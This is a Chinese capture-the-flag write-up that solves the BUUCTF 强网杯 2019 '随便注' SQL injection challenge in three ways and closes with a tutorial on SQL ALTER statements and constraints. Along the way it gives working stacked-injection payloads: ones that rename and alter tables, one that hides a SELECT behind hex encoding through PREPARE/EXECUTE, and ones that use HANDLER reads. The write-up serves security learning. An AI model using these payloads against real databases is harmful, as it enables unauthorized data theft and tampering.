BUUCTF[强网杯 2019]随便注 的三种解法

2023-11-17


打开后题目是这样的:

尝试注入:


1,测试 1' or 1=1 # ,初步判定存在SQL注入。
1' or 1=1 #

在这里插入图片描述



再测试字段数,到3时报错,说明字段数为2.

1' order by 1 # 

在这里插入图片描述



接着尝试union注入,回显了过滤的关键字。

1' union select 1,2#

在这里插入图片描述



然后就是今天学会的新姿势“堆叠注入”了。
原理很简单,就是通过 ; 号注入多条SQL语句。

先通过show databases爆出数据库。

0'; show databases; #

在这里插入图片描述
然后用 show tables 尝试爆表。

0'; show tables; #

在这里插入图片描述
可以看到这里有两个表,我们先尝试爆words表的内容。

1'; show columns from words; #

在这里插入图片描述
然后报表 1919810931114514 的内容。

这里学到一个新知识点,表名为数字时,要用反引号包起来查询。

0'; show columns from `1919810931114514 `; #

在这里插入图片描述

可以发现爆出来了flag字段,然而我对于flag毫无办法,只能看看别人写的writeup了,膜拜大佬。


解题思路1:

借鉴 : 强网杯2019随便注

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

在这里插入图片描述


解题思路2:

借鉴buuoj强网杯2019随便注

因为select被过滤了,所以先将select * from ` 1919810931114514 `进行16进制编码

再通过构造payload得

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

进而得到flag

  • prepare…from…是预处理语句,会进行编码转换。
  • execute用来执行由SQLPrepare创建的SQL语句。
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
    在这里插入图片描述

解题思路3:

寒假之后打了打i春秋的比赛,里面的一道web题black_list简直就是这道题的进化版,当时实在做不出来。。。还是太菜了

比赛后复现用的payload:

1'; handler `FlagHere` open as `a`; handler `a` read next;#

后来在buu上做时发现了payload2,貌似要复杂一点:

1';HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#

在这里插入图片描述
这个方法同样适用于这道题,payload:

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

在这里插入图片描述


知识点总结:

先总结这道题学会的新知识 alter ,show 和 SQL约束 。

show

在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。

show datebases; //数据库。
show tables; //表名。
show columns from table; //字段。
alter

作用:修改已知表的列。( 添加:add | 修改:alter,change | 撤销:drop )

用法:

  • 添加一个列
alter table " table_name" add " column_name"  type;
  • 删除一个列
alter table " table_name" drop " column_name"  type;
  • 改变列的数据类型
alter table " table_name" alter column " column_name" type;
  • 改列名
alter table " table_name" change " column1" " column2" type;
alter table "table_name" rename "column1" to "column2";

SQL约束 (规定表中数据的规则)

  • not null- 指示某列不能存储 NULL 值。
alter table persons modify age int not null;//设置 not null 约束 。
alter table person modify age int null;//取消 null 约束。
  • primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。
alter table persons add age primary key (id)
  • unique -保证某列的每行必须有唯一的值。(注:可以有多个 UNIQUE 约束,只能有一个 PRIMARY KEY 约束。 )
alter table person add unique (id);//增加unique约束。
  • check-限制列中值的范围。
alter table person add check (id>0);
  • default-规定没有给列赋值时的默认值。
alter table person alter city set default 'chengdu' ;//mysql
alter table person add constraint ab_c default 'chengdu' for city;//SQL Server / MS Access
  • auto_increment-自动赋值,默认从1开始。

  • foreign key-保证一个表中的数据匹配另一个表中的值的参照完整性。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

BUUCTF[强网杯 2019]随便注 的三种解法 的相关文章

  • 一些文件头

    由这些文件头即使文件后缀被乱改也可以通过查看二进制文件查出文件的匹配格式 当然这就是一些播放器识别文件的方法 1 从Ultra edit 32中提取出来的 JPEG jpg 文件头 FFD8FF PNG png 文件头 89504E47 G
  • ctfshow 文件包含

    目录 web78 web79 web80 81 web82 web83 web78 简单的伪协议文件包含 payload php filter convert base64 encode resource flag php web79 pa
  • CTFhub技能树_Web RCE

    一 eval执行 1 分析 打开网站显示如下代码 大体意思是 判断cmd是否被设置 若cmd被赋值 则执行如下语句 否则就继续显示以上代码 eval REQUEST cmd 其中 eval 该函数可以把字符串作为PHP代码执行 REQUES
  • [西湖论剑2021中国杭州网络安全技能大赛]Yusa的秘密 writeup

    西湖论剑2021 Yusa的秘密 Sakura组织即将进攻地球 此时你意外得到了该组织内某个成员的电脑文件 你能从中发现本次阴谋所用的关键道具吗 注 题目中包含了五个彩蛋 且彩蛋对解题本身没有任何影响 快去发现吧 附件 Who am I z
  • volatility内存取证分析与讲解(持续更新)

    volatility内存取证分析与讲解 0x01 volatility的安装 0x02 基本使用 0x03 取证实战 持续更新 0x04 总结 0x01 volatility的安装 本人暂时只使用windows下的volatility进行取
  • ctfshow- web1(50 point)

    0x00 前言 CTF 加解密合集 CTF Web合集 0x01 题目 0x02 Write Up 首先映入眼帘的是登录界面 尝试弱口令无果 可以注册 尝试注册一个账号 通过url发现这里是通过order by进行了排序 测试发现一共5个字
  • CTF中那些脑洞大开的编码和加密

    0x00 前言 正文开始之前先闲扯几句吧 玩CTF的小伙伴也许会遇到类似这样的问题 表哥 你知道这是什么加密吗 其实CTF中脑洞密码题 非现代加密方式 一般都是各种古典密码的变形 一般出题者会对密文进行一些处理 但是会给留一些线索 所以写此
  • MATRIX: 1 ctf challenge

    MATRIX 1 About Release Back to the Top Name Matrix 1 Date release 19 Aug 2018 Author Ajay Verma Series Matrix Download B
  • ctfshow_web149

    打开容器
  • 攻防世界Web题 - unseping 总结

    攻防世界Web题 unseping 总结 1 审题 进入题目 可以看出来是典型的php反序列化题目 2 源代码分析
  • ctfshow-web3

    0x00 前言 CTF 加解密合集 CTF Web合集 0x01 题目 0x02 Write Up 这个题目一看就知道是一个文件包含漏洞 php input可以访问请求的原始数据的只读流 将post请求的数据当作php代码执行 GET ht
  • 实验吧 web题--代码审计类

    一 因缺思汀的绕过 1 web题常规套路就是查看源代码 于是右击查看源代码发现 br 构造url http ctf5 shiyanbar com web pcat source txt 查看php代码 2 关键php代码 if mysql
  • NEZUKO: 1——202201152003

    NEZUKO 1 202201152003 About Release Back to the Top Name nezuko 1 Date release 21 Aug 2019 Author yunaranyancat Series n
  • CTF BugKu平台——Crypto篇刷题记录(后续更新)

    CTF BugKu平台 Crypto篇 前言 抄错的字符 聪明的小羊 ok lt gt 把猪困在猪圈里 你喜欢下棋吗 小山丘的秘密 EN 气泡 你以为是md5吗 Math English easy crypto 黄道十二官 一段新闻 7 1
  • [2021首届“陇剑杯”网络安全大赛] SQL注入

    2021首届 陇剑杯 网络安全大赛 SQL注入 题目描述 某应用程序被攻击 请分析日志后作答 黑客在注入过程中采用的注入手法叫 布尔盲注 格式为4个汉字 例如 拼搏努力 黑客在注入过程中 最终获取flag的数据库名 表名和字段名是 Sqli
  • [BDSec CTF 2022] 部分WP

    组队参加了个国外的小线上赛 题目比较简单 目录 PWN pwnrace Reverse BDSec License Checker 0x1 shashdot Flag Box Simple Math Poster BDSec License
  • 攻防世界 Web simple_php

    攻防世界 Web simple php 1 分析源代码 2 得到flag 1 分析源代码 a 和 b 都是通过GOT传入 第一个if可以获取flag1 但是要求a0 atrue 但是如果
  • ctfshow web7

    文章目录 题目分析 解题过程 题目分析 打开题目后 有三个文章 随便点一个之后发现网址上有个后缀 id 2 应该是get传参的注入了 在后缀上加 id 1 1 显示全部文章 可能是整形注入 还是盲注 他这个过滤了空格 用 代替 详见web6
  • Python从内存中运行exe[重复]

    这个问题在这里已经有答案了 exe requests get url content run exe subprocess run exe shell True stdout subprocess PIPE stderr subproces
  • 【CTF必看】从零开始的CTF学习路线(超详细),让你从小白进阶成大神!

    最近很多朋友在后台私信我 问应该怎么入门CTF 个人认为入门CTF之前大家应该先了解到底 什么是CTF 而你 学CTF的目的又到底是什么 其次便是最好具备相应的编程能力 若是完全不具备这些能力极有可能直接被劝退 毕竟比赛的时候动不动写个脚本

随机推荐

  • Python 3.4安装pandas库时遇到的问题:no matching distribution found for numpy==1.9.3

    Window XP 其实已经安装了numpy10 0 1 但在cmd中pip install pandas时提示 no matching distribution found for numpy 1 9 3 然后卸载了之前的numpy 又使
  • selenium3和selenium4的区别

    1 初始化浏览器对象 在初始化driver对象的时候 selenium4多了一个Service类 用来管理驱动程序的启动 停止 service Service r D python39 chromedriver exe driver web
  • 手写字符识别

    一 手写字符识别原理 以下来源网上 手写数字识别 可以采用图像识别的方法 左边的x是手写之后的图像 右边的y是对应的数字 对于图像信息 计算机是用数值来进行表示的 机器学习让计算机具备智能 实际上是训练出数值模型w对于新的输入x 可以通过与
  • STL容器总结

    1 Vector 本质是动态数组 拥有一段连续的内存空间 并且起始地址不变 能非常好的支持随机存取 即 操作符 但由于它的内存空间是连续的 所以在中间进行插入和删除会造成内存块的拷贝 如果空间不够 则另外分配新的两倍大小的空间 然后把旧空间
  • mysql不等于的写法_mysql 不等于 符号写法

    经过测试发现mysql中用 lt gt 与 都是可以的 但sqlserver中不识别 所以建议用 lt gt selece from jb51 where id lt gt 45 sql 里 符号 lt gt 于 的区别 lt gt 与 都
  • 打印机驱动安装教程

    工作中 尤其是从事半文秘工作的人 不是全文秘 没有安装打印机驱动经验 这里就来说说如何安装佳能打印机驱动 准备安装资料 佳能打印驱动 安装步骤 1 我这里是压缩文件 解压后 点击Setup exe开始安装 2 要同意才能下一步安装 3 根据
  • jenkins运行Linux后台命令

    这里是指广义上的后台 不管是shell命令nohub或者其他 只要是需要常驻linux后台的命令或者程序 如果通过Jenkins启动 当任务结束时Jenkins都会清理掉此次任务中的所有相关进程 现象就是明明运行成功了但是实际找不到进程 解
  • 安装CPU版本的pytorch和torchvision(Win10)

    前言 在使用以下方法之前 我是用了网上说的搭建清华镜像进行下载 虽然pytorch下载成功了 但是在下载torchvision的时候就一直成功不了 在网络的大千世界中 我终于悟到先本地下载再安装的方法 第一步 找好对应的版本 第二步 下载本
  • 基于Canal与Flink实现数据实时增量同步(一)

    点击上方蓝色字体 关注我 canal是阿里巴巴旗下的一款开源项目 纯Java开发 基于数据库增量日志解析 提供增量数据订阅 消费 目前主要支持了MySQL 也支持mariaDB 准备 配置MySQL的binlog 常见的binlog命令 是
  • Java多线程分批导入数据

    package com rk iam sys service author wdy version 1 0 date 2022 4 27 14 50 import com alibaba fastjson JSON import com a
  • NLP学习笔记-聊天机器人项目准备(三)

    走进聊天机器人 1 目前企业中的常见的聊天机器人 QA BOT 问答机器人 回答问题 有明确目标 能够返回结果 代表 智能客服 比如 提问和回答 TASK BOT 任务机器人 通过机器人帮助人去完成事情 代表 siri 比如 设置明天早上9
  • 使用词云报错‘TransposedFont‘ object has no attribute ‘getbbox‘

    网上根本找不到这句报错 搞了很久 终于搞完了 1 卸载numpy库 pip uninstall numpy 2 卸载pillow库 pip uninstall pillow 3 卸载词云库 pip uninstall wordcloud 再
  • Linux宝塔面板反向代理设置教程

    此方法最简单快捷 没有复杂步骤 不容易出错 即最简单 零代码 零部署的方法 实现准备 一台服务器 安装宝塔面板 OpenAI官方的API KEY ChatGPT网站系统源码 ChatGPT网站系统源码 大家可以看看另一篇文章介绍 最新版本系
  • 项目中如何修改element-ui的默认样式

    element ui 修改默认样式 一 第一种 修改element ui默认的样式 如果要组件内全局修改 首先在浏览器里F12找到element默认的UI类名 找到要修改的默认类名以后 在文件中修改代码 重写属性 但是如果已经在全局内修改了
  • Nginx反向代理技巧

    跨域 作为一个前端开发者来说不可避免的问题就是跨域 那什么是跨域呢 跨域 指的是浏览器不能执行其他网站的脚本 它是由浏览器的同源策略造成的 是浏览器对javascript施加的安全限制 浏览器的同源策略是指协议 域名 端口都要相同 其中有一
  • 与大多数台式机和移动广告软件说再见

    Some time ago I wrote an article where I described read it here an easy way to get rid of advertisements on your smart T
  • 解决go-cqhttp登录失败:密码错误或账号被冻结

    目录 前言 解决方法一 下载最新go cqhttp 使用方法 解决方法二 总结 推荐阅读 http t csdn cn nQfIY 前言 解决go cqhttp登录失败 密码错误或账号被冻结 解决方法一 下载最新go cqhttp 1 0
  • esp32 CMT130-V1.0 PS 240*240屏幕使用方法实验

    1 安装好Arduino 1 8 13 注意尽量不要大于1 8的版本 2 安装esp32驱动代码并且配置 3 esp32选择波特率 921600 4 选择频率 80MHZ 5 具体连线总结 6 需要在Arduino库管理中心下载TFT eS
  • HTTP协议(超文本传输协议)

    目录 1 HTTP协议介绍 2 HTTP协议格式 3 代码实现 1 HTTP协议介绍 HTTP协议是一个简单的请求响应协议 HTTP协议是一个明文字符串传输协议 便于调试 HTTP协议在传输层上基于TCP协议实现数据传输 本质上HTTP服务
  • BUUCTF[强网杯 2019]随便注 的三种解法

    文章目录 尝试注入 解题思路1 解题思路2 解题思路3 知识点总结 打开后题目是这样的 尝试注入 1 测试 1 or 1 1 初步判定存在SQL注入 1 or 1 1 再测试字段数 到3时报错 说明字段数为2 1 order by 1 接着